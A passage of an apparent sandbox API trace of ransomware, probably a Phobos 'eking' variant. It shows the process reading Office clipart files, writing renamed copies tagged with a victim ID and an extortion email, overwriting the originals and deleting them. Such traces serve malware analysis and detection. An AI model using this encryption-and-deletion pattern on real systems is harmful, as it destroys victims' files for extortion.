GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.391] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.391] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.396] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x83c, lpOverlapped=0x0) returned 1 [0191.398] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x840, lpOverlapped=0x0) returned 1 [0191.400] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.400] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.400] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.400] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x83c, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x83c, lpOverlapped=0x0) returned 1 [0191.404] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.411] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.413] CloseHandle (hObject=0x1e8) returned 1 [0191.413] CloseHandle (hObject=0x1b8) returned 1 [0191.415] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0191.416] SetEvent (hEvent=0x174) returned 1 [0191.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.417] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=9240) returned 1 [0191.417] CloseHandle (hObject=0x1b8) returned 1 [0191.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 0x20 [0191.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 0x20 [0191.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.418] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.418] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.418] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x2418, lpOverlapped=0x0) returned 1 [0191.421] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x2420, lpOverlapped=0x0) returned 1 [0191.423] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.423] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.423] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.423] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x2418, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x2418, lpOverlapped=0x0) returned 1 [0191.425] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.429] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.432] CloseHandle (hObject=0x1b8) returned 1 [0191.432] CloseHandle (hObject=0x1e8) returned 1 [0191.433] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0191.435] SetEvent (hEvent=0x174) returned 1 [0191.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.436] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2344) returned 1 [0191.436] CloseHandle (hObject=0x1e8) returned 1 [0191.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 0x20 [0191.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 0x20 [0191.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.436] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.437] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.437] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x928, lpOverlapped=0x0) returned 1 [0191.440] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x930, lpOverlapped=0x0) returned 1 [0191.442] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.442] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.442] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.442] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x928, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x928, lpOverlapped=0x0) returned 1 [0191.444] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.448] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.450] CloseHandle (hObject=0x1e8) returned 1 [0191.451] CloseHandle (hObject=0x1b8) returned 1 [0191.453] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0191.455] SetEvent (hEvent=0x174) returned 1 [0191.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.455] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=6060) returned 1 [0191.455] CloseHandle (hObject=0x1b8) returned 1 [0191.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 0x20 [0191.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 0x20 [0191.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.456] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.456] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.458] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x17ac, lpOverlapped=0x0) returned 1 [0191.461] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x17b0, lpOverlapped=0x0) returned 1 [0191.463] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.463] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.464] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.464] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x17ac, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x17ac, lpOverlapped=0x0) returned 1 [0191.466] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.471] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.476] CloseHandle (hObject=0x1b8) returned 1 [0191.476] CloseHandle (hObject=0x1e8) returned 1 [0191.477] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0191.479] SetEvent (hEvent=0x174) returned 1 [0191.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.480] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3416) returned 1 [0191.480] CloseHandle (hObject=0x1e8) returned 1 [0191.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 0x20 [0191.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 0x20 [0191.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.481] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.481] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.481] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0xd58, lpOverlapped=0x0) returned 1 [0191.484] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xd60, lpOverlapped=0x0) returned 1 [0191.486] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.486] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.487] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.487] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xd58, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0xd58, lpOverlapped=0x0) returned 1 [0191.489] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.494] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.497] CloseHandle (hObject=0x1e8) returned 1 [0191.497] CloseHandle (hObject=0x1b8) returned 1 [0191.498] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0191.500] SetEvent (hEvent=0x174) returned 1 [0191.501] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.502] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2636) returned 1 [0191.502] CloseHandle (hObject=0x1b8) returned 1 [0191.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 0x20 [0191.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 0x20 [0191.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.503] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.503] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.504] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0xa4c, lpOverlapped=0x0) returned 1 [0191.507] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xa50, lpOverlapped=0x0) returned 1 [0191.508] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.508] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.508] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.508] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xa4c, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0xa4c, lpOverlapped=0x0) returned 1 [0191.512] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.516] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.518] CloseHandle (hObject=0x1b8) returned 1 [0191.518] CloseHandle (hObject=0x1e8) returned 1 [0191.521] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0191.522] SetEvent (hEvent=0x174) returned 1 [0191.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.523] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=6636) returned 1 [0191.523] CloseHandle (hObject=0x1e8) returned 1 [0191.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 0x20 [0191.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 0x20 [0191.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 